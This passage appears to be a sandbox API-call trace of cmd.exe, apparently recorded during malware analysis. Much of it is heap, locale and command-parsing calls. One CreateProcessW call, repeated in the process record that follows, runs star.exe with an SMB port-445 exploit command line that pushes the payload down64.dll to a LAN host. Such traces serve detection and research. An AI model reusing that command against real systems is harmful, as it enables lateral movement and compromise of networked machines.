dwFlags=0x0, lpMem=0x6449e0 | out: hHeap=0x630000) returned 1 [0118.994] GetProcessHeap () returned 0x630000 [0118.994] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x400e) returned 0x6455a8 [0118.995] GetProcessHeap () returned 0x630000 [0118.995] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x16e) returned 0x642d90 [0118.995] GetProcessHeap () returned 0x630000 [0118.995] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6455a8 | out: hHeap=0x630000) returned 1 [0118.995] GetConsoleOutputCP () returned 0x1b5 [0118.995] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa44260 | out: lpCPInfo=0x4aa44260) returned 1 [0118.995] GetUserDefaultLCID () returned 0x409 [0118.996] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4aa44950, cchData=8 | out: lpLCData=":") returned 2 [0118.996] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x36f5b8, cchData=128 | out: lpLCData="0") returned 2 [0118.996] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x36f5b8, cchData=128 | out: lpLCData="0") returned 2 [0118.996] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x36f5b8, cchData=128 | out: lpLCData="1") returned 2 [0118.996] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4aa44940, cchData=8 | out: lpLCData="/") returned 2 [0118.996] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4aa44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0118.996] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4aa44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0118.996] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4aa44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0118.996] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4aa44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0118.996] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4aa44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0118.996] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4aa44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0118.996] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4aa44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0118.996] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4aa44930, cchData=8 | out: lpLCData=".") returned 2 [0118.996] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4aa44920, cchData=8 | out: lpLCData=",") returned 2 [0118.996] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0118.997] GetProcessHeap () returned 0x630000 [0118.997] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x20c) returned 0x642f08 [0118.997] GetConsoleTitleW (in: lpConsoleTitle=0x642f08, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0118.998] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0118.998] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0118.998] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0118.998] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0118.998] GetProcessHeap () returned 0x630000 [0118.998] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x400a) returned 0x6455a8 [0118.998] GetProcessHeap () returned 0x630000 [0118.998] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6455a8 | out: hHeap=0x630000) returned 1 [0118.999] _wcsicmp (_String1="cd", _String2=")") returned 58 [0118.999] _wcsicmp (_String1="FOR", _String2="cd") returned 3 [0118.999] _wcsicmp (_String1="FOR/?", _String2="cd") returned 3 [0118.999] _wcsicmp (_String1="IF", _String2="cd") returned 6 [0118.999] _wcsicmp (_String1="IF/?", _String2="cd") returned 6 [0118.999] _wcsicmp (_String1="REM", _String2="cd") returned 15 [0118.999] _wcsicmp (_String1="REM/?", _String2="cd") returned 15 [0118.999] GetProcessHeap () returned 0x630000 [0118.999] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x58) returned 0x6449e0 [0118.999] GetProcessHeap () returned 0x630000 [0118.999] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0xe) returned 0x640438 [0118.999] GetProcessHeap () returned 0x630000 [0118.999] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x2e) returned 0x642410 [0119.000] GetProcessHeap () returned 0x630000 [0119.000] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x58) returned 0x643120 [0119.000] _wcsicmp (_String1="star.exe", _String2=")") returned 74 [0119.001] _wcsicmp (_String1="FOR", _String2="star.exe") returned -13 [0119.001] _wcsicmp (_String1="FOR/?", _String2="star.exe") returned -13 [0119.001] _wcsicmp (_String1="IF", _String2="star.exe") returned -10 [0119.001] _wcsicmp (_String1="IF/?", _String2="star.exe") returned -10 [0119.001] _wcsicmp (_String1="REM", _String2="star.exe") returned -1 [0119.001] _wcsicmp (_String1="REM/?", _String2="star.exe") returned -1 [0119.001] GetProcessHeap () returned 0x630000 [0119.001] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x58) returned 0x643180 [0119.001] GetProcessHeap () returned 0x630000 [0119.001] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x1a) returned 0x6425d0 [0119.004] GetProcessHeap () returned 0x630000 [0119.004] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x130) returned 0x6431e0 [0119.005] GetConsoleTitleW (in: lpConsoleTitle=0x36f24c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0119.050] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0119.050] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0119.050] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0119.050] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0119.050] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0119.050] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0119.050] GetProcessHeap () returned 0x630000 [0119.050] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x54) returned 0x643318 [0119.052] GetProcessHeap () returned 0x630000 [0119.052] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x643318, Size=0x30) returned 0x643318 [0119.052] GetProcessHeap () returned 0x630000 [0119.052] RtlSizeHeap (HeapHandle=0x630000, Flags=0x0, MemoryPointer=0x643318) returned 0x30 [0119.052] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0119.052] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0119.052] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x36f008, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x36f000, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x36f000*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0119.052] GetProcessHeap () returned 0x630000 [0119.052] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x34) returned 0x643350 [0119.052] GetProcessHeap () returned 0x630000 [0119.052] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x54) returned 0x643390 [0119.054] GetProcessHeap () returned 0x630000 [0119.054] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x643390, Size=0x2e) returned 0x643390 [0119.054] GetProcessHeap () returned 0x630000 [0119.054] RtlSizeHeap (HeapHandle=0x630000, Flags=0x0, MemoryPointer=0x643390) returned 0x2e [0119.054] _wcsnicmp (_String1="/D", _String2="/D", _MaxCount=0x2) returned 0 [0119.054] GetProcessHeap () returned 0x630000 [0119.054] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x26) returned 0x6433c8 [0119.054] GetProcessHeap () returned 0x630000 [0119.054] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x26) returned 0x6433f8 [0119.054] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x36eda4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0119.054] GetFullPathNameW (in: lpFileName="C:\\ProgramData", nBufferLength=0x104, lpBuffer=0x36eda4, lpFilePart=0x36eda0 | out: lpBuffer="C:\\ProgramData", lpFilePart=0x36eda0*="ProgramData") returned 0xe [0119.054] GetFileAttributesW (lpFileName="C:\\ProgramData" (normalized: "c:\\programdata")) returned 0x2012 [0119.054] FindFirstFileW (in: lpFileName="C:\\ProgramData", lpFindFileData=0x36eb20 | out: lpFindFileData=0x36eb20*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x643428 [0119.054] FindClose (in: hFindFile=0x643428 | out: hFindFile=0x643428) returned 1 [0119.054] _wcsnicmp (_String1="PROGRA~3", _String2="ProgramData", _MaxCount=0xb) returned 17 [0119.054] GetFileAttributesW (lpFileName="C:\\ProgramData" (normalized: "c:\\programdata")) returned 0x2012 [0119.055] SetCurrentDirectoryW (lpPathName="C:\\ProgramData" (normalized: "c:\\programdata")) returned 1 [0119.055] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\ProgramData") returned 1 [0119.055] GetProcessHeap () returned 0x630000 [0119.055] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x644a40 | out: hHeap=0x630000) returned 1 [0119.055] GetEnvironmentStringsW () returned 0x644a40* [0119.055] GetProcessHeap () returned 0x630000 [0119.055] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0xb2e) returned 0x645578 [0119.055] FreeEnvironmentStringsW (penv=0x644a40) returned 1 [0119.055] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa45260 | out: lpBuffer="C:\\ProgramData") returned 0xe [0119.055] GetProcessHeap () returned 0x630000 [0119.055] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6433f8 | out: hHeap=0x630000) returned 1 [0119.055] GetProcessHeap () returned 0x630000 [0119.055] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6433c8 | out: hHeap=0x630000) returned 1 [0119.055] GetConsoleTitleW (in: lpConsoleTitle=0x36f24c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0119.055] GetFileAttributesW (lpFileName="star.exe" (normalized: "c:\\programdata\\star.exe")) returned 0x2020 [0119.056] _wcsicmp (_String1="star.exe", _String2="DIR") returned 15 [0119.056] _wcsicmp (_String1="star.exe", _String2="ERASE") returned 14 [0119.056] _wcsicmp (_String1="star.exe", _String2="DEL") returned 15 [0119.056] _wcsicmp (_String1="star.exe", _String2="TYPE") returned -1 [0119.056] _wcsicmp (_String1="star.exe", _String2="COPY") returned 16 [0119.056] _wcsicmp (_String1="star.exe", _String2="CD") returned 16 [0119.056] _wcsicmp (_String1="star.exe", _String2="CHDIR") returned 16 [0119.056] _wcsicmp (_String1="star.exe", _String2="RENAME") returned 1 [0119.056] _wcsicmp (_String1="star.exe", _String2="REN") returned 1 [0119.056] _wcsicmp (_String1="star.exe", _String2="ECHO") returned 14 [0119.056] _wcsicmp (_String1="star.exe", _String2="SET") returned 15 [0119.056] _wcsicmp (_String1="star.exe", _String2="PAUSE") returned 3 [0119.056] _wcsicmp (_String1="star.exe", _String2="DATE") returned 15 [0119.056] _wcsicmp (_String1="star.exe", _String2="TIME") returned -1 [0119.056] _wcsicmp (_String1="star.exe", _String2="PROMPT") returned 3 [0119.056] _wcsicmp (_String1="star.exe", _String2="MD") returned 6 [0119.056] _wcsicmp (_String1="star.exe", _String2="MKDIR") returned 6 [0119.056] _wcsicmp (_String1="star.exe", _String2="RD") returned 1 [0119.056] _wcsicmp (_String1="star.exe", _String2="RMDIR") returned 1 [0119.056] _wcsicmp (_String1="star.exe", _String2="PATH") returned 3 [0119.056] _wcsicmp (_String1="star.exe", _String2="GOTO") returned 12 [0119.056] _wcsicmp (_String1="star.exe", _String2="SHIFT") returned 12 [0119.056] _wcsicmp (_String1="star.exe", _String2="CLS") returned 16 [0119.056] _wcsicmp (_String1="star.exe", _String2="CALL") returned 16 [0119.056] _wcsicmp (_String1="star.exe", _String2="VERIFY") returned -3 [0119.056] _wcsicmp (_String1="star.exe", _String2="VER") returned -3 [0119.056] _wcsicmp (_String1="star.exe", _String2="VOL") returned -3 [0119.056] _wcsicmp (_String1="star.exe", _String2="EXIT") returned 14 [0119.056] _wcsicmp (_String1="star.exe", _String2="SETLOCAL") returned 15 [0119.056] _wcsicmp (_String1="star.exe", _String2="ENDLOCAL") returned 14 [0119.056] _wcsicmp (_String1="star.exe", _String2="TITLE") returned -1 [0119.056] _wcsicmp (_String1="star.exe", _String2="START") returned -70 [0119.056] _wcsicmp (_String1="star.exe", _String2="DPATH") returned 15 [0119.056] _wcsicmp (_String1="star.exe", _String2="KEYS") returned 8 [0119.056] _wcsicmp (_String1="star.exe", _String2="MOVE") returned 6 [0119.057] _wcsicmp (_String1="star.exe", _String2="PUSHD") returned 3 [0119.057] _wcsicmp (_String1="star.exe", _String2="POPD") returned 3 [0119.057] _wcsicmp (_String1="star.exe", _String2="ASSOC") returned 18 [0119.057] _wcsicmp (_String1="star.exe", _String2="FTYPE") returned 13 [0119.057] _wcsicmp (_String1="star.exe", _String2="BREAK") returned 17 [0119.057] _wcsicmp (_String1="star.exe", _String2="COLOR") returned 16 [0119.057] _wcsicmp (_String1="star.exe", _String2="MKLINK") returned 6 [0119.057] _wcsicmp (_String1="star.exe", _String2="DIR") returned 15 [0119.057] _wcsicmp (_String1="star.exe", _String2="ERASE") returned 14 [0119.057] _wcsicmp (_String1="star.exe", _String2="DEL") returned 15 [0119.057] _wcsicmp (_String1="star.exe", _String2="TYPE") returned -1 [0119.057] _wcsicmp (_String1="star.exe", _String2="COPY") returned 16 [0119.057] _wcsicmp (_String1="star.exe", _String2="CD") returned 16 [0119.057] _wcsicmp (_String1="star.exe", _String2="CHDIR") returned 16 [0119.057] _wcsicmp (_String1="star.exe", _String2="RENAME") returned 1 [0119.057] _wcsicmp (_String1="star.exe", _String2="REN") returned 1 [0119.057] _wcsicmp (_String1="star.exe", _String2="ECHO") returned 14 [0119.057] _wcsicmp (_String1="star.exe", _String2="SET") returned 15 [0119.057] _wcsicmp (_String1="star.exe", _String2="PAUSE") returned 3 [0119.057] _wcsicmp (_String1="star.exe", _String2="DATE") returned 15 [0119.057] _wcsicmp (_String1="star.exe", _String2="TIME") returned -1 [0119.057] _wcsicmp (_String1="star.exe", _String2="PROMPT") returned 3 [0119.057] _wcsicmp (_String1="star.exe", _String2="MD") returned 6 [0119.057] _wcsicmp (_String1="star.exe", _String2="MKDIR") returned 6 [0119.057] _wcsicmp (_String1="star.exe", _String2="RD") returned 1 [0119.057] _wcsicmp (_String1="star.exe", _String2="RMDIR") returned 1 [0119.057] _wcsicmp (_String1="star.exe", _String2="PATH") returned 3 [0119.057] _wcsicmp (_String1="star.exe", _String2="GOTO") returned 12 [0119.057] _wcsicmp (_String1="star.exe", _String2="SHIFT") returned 12 [0119.057] _wcsicmp (_String1="star.exe", _String2="CLS") returned 16 [0119.057] _wcsicmp (_String1="star.exe", _String2="CALL") returned 16 [0119.057] _wcsicmp (_String1="star.exe", _String2="VERIFY") returned -3 [0119.057] _wcsicmp (_String1="star.exe", _String2="VER") returned -3 [0119.057] _wcsicmp (_String1="star.exe", _String2="VOL") returned -3 [0119.057] _wcsicmp (_String1="star.exe", _String2="EXIT") returned 14 [0119.057] _wcsicmp (_String1="star.exe", _String2="SETLOCAL") returned 15 [0119.057] _wcsicmp (_String1="star.exe", _String2="ENDLOCAL") returned 14 [0119.058] _wcsicmp (_String1="star.exe", _String2="TITLE") returned -1 [0119.058] _wcsicmp (_String1="star.exe", _String2="START") returned -70 [0119.058] _wcsicmp (_String1="star.exe", _String2="DPATH") returned 15 [0119.058] _wcsicmp (_String1="star.exe", _String2="KEYS") returned 8 [0119.058] _wcsicmp (_String1="star.exe", _String2="MOVE") returned 6 [0119.058] _wcsicmp (_String1="star.exe", _String2="PUSHD") returned 3 [0119.058] _wcsicmp (_String1="star.exe", _String2="POPD") returned 3 [0119.058] _wcsicmp (_String1="star.exe", _String2="ASSOC") returned 18 [0119.058] _wcsicmp (_String1="star.exe", _String2="FTYPE") returned 13 [0119.058] _wcsicmp (_String1="star.exe", _String2="BREAK") returned 17 [0119.058] _wcsicmp (_String1="star.exe", _String2="COLOR") returned 16 [0119.058] _wcsicmp (_String1="star.exe", _String2="MKLINK") returned 6 [0119.058] _wcsicmp (_String1="star.exe", _String2="FOR") returned 13 [0119.058] _wcsicmp (_String1="star.exe", _String2="IF") returned 10 [0119.058] _wcsicmp (_String1="star.exe", _String2="REM") returned 1 [0119.058] GetProcessHeap () returned 0x630000 [0119.058] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x210) returned 0x632af8 [0119.058] GetProcessHeap () returned 0x630000 [0119.058] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x142) returned 0x6433c8 [0119.058] _wcsnicmp (_String1="star", _String2="cmd ", _MaxCount=0x4) returned 16 [0119.059] GetProcessHeap () returned 0x630000 [0119.059] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x418) returned 0x644a40 [0119.059] SetErrorMode (uMode=0x0) returned 0x0 [0119.059] SetErrorMode (uMode=0x1) returned 0x0 [0119.059] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x644a48, lpFilePart=0x36ed6c | out: lpBuffer="C:\\ProgramData", lpFilePart=0x36ed6c*="ProgramData") returned 0xe [0119.059] SetErrorMode (uMode=0x0) returned 0x1 [0119.059] GetProcessHeap () returned 0x630000 [0119.059] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x644a40, Size=0x38) returned 0x644a40 [0119.059] GetProcessHeap () returned 0x630000 [0119.059] RtlSizeHeap (HeapHandle=0x630000, Flags=0x0, MemoryPointer=0x644a40) returned 0x38 [0119.059] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0119.059] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0119.059] GetProcessHeap () returned 0x630000 [0119.059] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0xf2) returned 0x643518 [0119.059] GetProcessHeap () returned 0x630000 [0119.059] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0x1dc) returned 0x643860 [0119.062] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x643860, Size=0xf4) returned 0x643860 [0119.062] GetProcessHeap () returned 0x630000 [0119.062] RtlSizeHeap (HeapHandle=0x630000, Flags=0x0, MemoryPointer=0x643860) returned 0xf4 [0119.062] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0119.062] GetProcessHeap () returned 0x630000 [0119.062] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0xe0) returned 0x643960 [0119.062] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x643960, Size=0x76) returned 0x643960 [0119.062] GetProcessHeap () returned 0x630000 [0119.062] RtlSizeHeap (HeapHandle=0x630000, Flags=0x0, MemoryPointer=0x643960) returned 0x76 [0119.063] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0119.063] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\star.exe", fInfoLevelId=0x1, lpFindFileData=0x36eb08, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x36eb08) returned 0x6439e0 [0119.063] GetProcessHeap () returned 0x630000 [0119.063] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x643618 [0119.063] FindClose (in: hFindFile=0x6439e0 | out: hFindFile=0x6439e0) returned 1 [0119.063] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0119.063] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0119.063] GetConsoleTitleW (in: lpConsoleTitle=0x36efe0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0119.064] InitializeProcThreadAttributeList (in: lpAttributeList=0x36ee68, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x36ef30 | out: lpAttributeList=0x36ee68, lpSize=0x36ef30) returned 1 [0119.064] UpdateProcThreadAttribute (in: lpAttributeList=0x36ee68, dwFlags=0x0, Attribute=0x60001, lpValue=0x36ef28, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x36ee68, lpPreviousValue=0x0) returned 1 [0119.064] GetStartupInfoW (in: lpStartupInfo=0x36ee24 | out: lpStartupInfo=0x36ee24*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x631b82, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0119.064] lstrcmpW (lpString1="\\star.exe", lpString2="\\XCOPY.EXE") returned -1 [0119.065] CreateProcessW (in: lpApplicationName="C:\\ProgramData\\star.exe", lpCommandLine="star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload C:\\ProgramData\\down64.dll --TargetIp 192.168.0.171", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\ProgramData", lpStartupInfo=0x36eec4*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload C:\\ProgramData\\down64.dll --TargetIp 192.168.0.171", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36ef10 | out: lpCommandLine="star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload C:\\ProgramData\\down64.dll --TargetIp 192.168.0.171", lpProcessInformation=0x36ef10*(hProcess=0x78, hThread=0x1c, dwProcessId=0x141c, dwThreadId=0x1420)) returned 1 [0119.079] CloseHandle (hObject=0x1c) returned 1 [0119.079] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0119.079] GetProcessHeap () returned 0x630000 [0119.079] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x645578 | out: hHeap=0x630000) returned 1 [0119.079] GetEnvironmentStringsW () returned 0x644a80* [0119.079] GetProcessHeap () returned 0x630000 [0119.079] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0xb2e) returned 0x6480b0 [0119.079] FreeEnvironmentStringsW (penv=0x644a80) returned 1 [0119.080] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0125.495] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x36ee04 | out: lpExitCode=0x36ee04*=0x0) returned 1 [0125.495] CloseHandle (hObject=0x78) returned 1 [0125.495] _vsnwprintf (in: _Buffer=0x36ef4c, _BufferCount=0x13, _Format="%08X", _ArgList=0x36ee10 | out: _Buffer="00000000") returned 8 [0125.495] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0125.495] GetProcessHeap () returned 0x630000 [0125.495] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6480b0 | out: hHeap=0x630000) returned 1 [0125.495] GetEnvironmentStringsW () returned 0x644a80* [0125.495] GetProcessHeap () returned 0x630000 [0125.495] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0xb2e) returned 0x6480b0 [0125.495] FreeEnvironmentStringsW (penv=0x644a80) returned 1 [0125.495] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0125.496] GetProcessHeap () returned 0x630000 [0125.496] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6480b0 | out: hHeap=0x630000) returned 1 [0125.496] GetEnvironmentStringsW () returned 0x644a80* [0125.496] GetProcessHeap () returned 0x630000 [0125.496] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x8, Size=0xb2e) returned 0x6480b0 [0125.496] FreeEnvironmentStringsW (penv=0x644a80) returned 1 [0125.496] GetProcessHeap () returned 0x630000 [0125.496] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x640450 | out: hHeap=0x630000) returned 1 [0125.496] DeleteProcThreadAttributeList (in: lpAttributeList=0x36ee68 | out: lpAttributeList=0x36ee68) [0125.496] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.496] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0125.496] _get_osfhandle (_FileHandle=1) returned 0x7 [0125.496] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4aa441ac | out: lpMode=0x4aa441ac) returned 1 [0125.496] _get_osfhandle (_FileHandle=0) returned 0x3 [0125.496] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4aa441b0 | out: lpMode=0x4aa441b0) returned 1 [0125.496] SetConsoleInputExeNameW () returned 0x1 [0125.496] GetConsoleOutputCP () returned 0x1b5 [0125.497] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa44260 | out: lpCPInfo=0x4aa44260) returned 1 [0125.497] SetThreadUILanguage (LangId=0x0) returned 0x409 [0125.497] exit (_Code=0) Process: id = "22" image_name = "star.exe" filename = "c:\\programdata\\star.exe" page_root = "0x1b49e000" os_pid = "0x141c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "21" os_parent_pid = "0x140c" cmd_line = "star.exe --OutConfig a --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload C:\\ProgramData\\down64.dll --TargetIp 192.168.0.171" cur_dir = "C:\\ProgramData\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 795 os_tid = 0x1420 [0119.316] malloc (_Size=0x80) returned 0x10b0e78 [0119.320] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x76e10000 [0119.320] GetProcAddress (hModule=0x76e10000, lpProcName="VirtualProtect") returned 0x76e2435f [0119.320] VirtualProtect (in: lpAddress=0x12015f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x2) returned 1 [0119.320] VirtualProtect (in: lpAddress=0x12015f, dwSize=0x78, flNewProtect=0x2, lpflOldProtect=0xdaf9fc | out: lpflOldProtect=0xdaf9fc*=0x4) returned 1 [0119.320] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x76b40000 [0119.320] GetProcAddress (hModule=0x76b40000, lpProcName="_XcptFilter") returned 0x76b6dc75 [0119.320] GetProcAddress (hModule=0x76b40000, lpProcName="_initterm") returned 0x76b4c151 [0119.320] GetProcAddress (hModule=0x76b40000, lpProcName="_amsg_exit") returned 0x76bab2ef [0119.321] GetProcAddress (hModule=0x76b40000, lpProcName="_adjust_fdiv") returned 0x76be32ec [0119.321] GetProcAddress (hModule=0x76b40000, lpProcName="memmove") returned 0x76b49e5a [0119.321] GetProcAddress (hModule=0x76b40000, lpProcName="memcmp") returned 0x76b57975 [0119.321] GetProcAddress (hModule=0x76b40000, 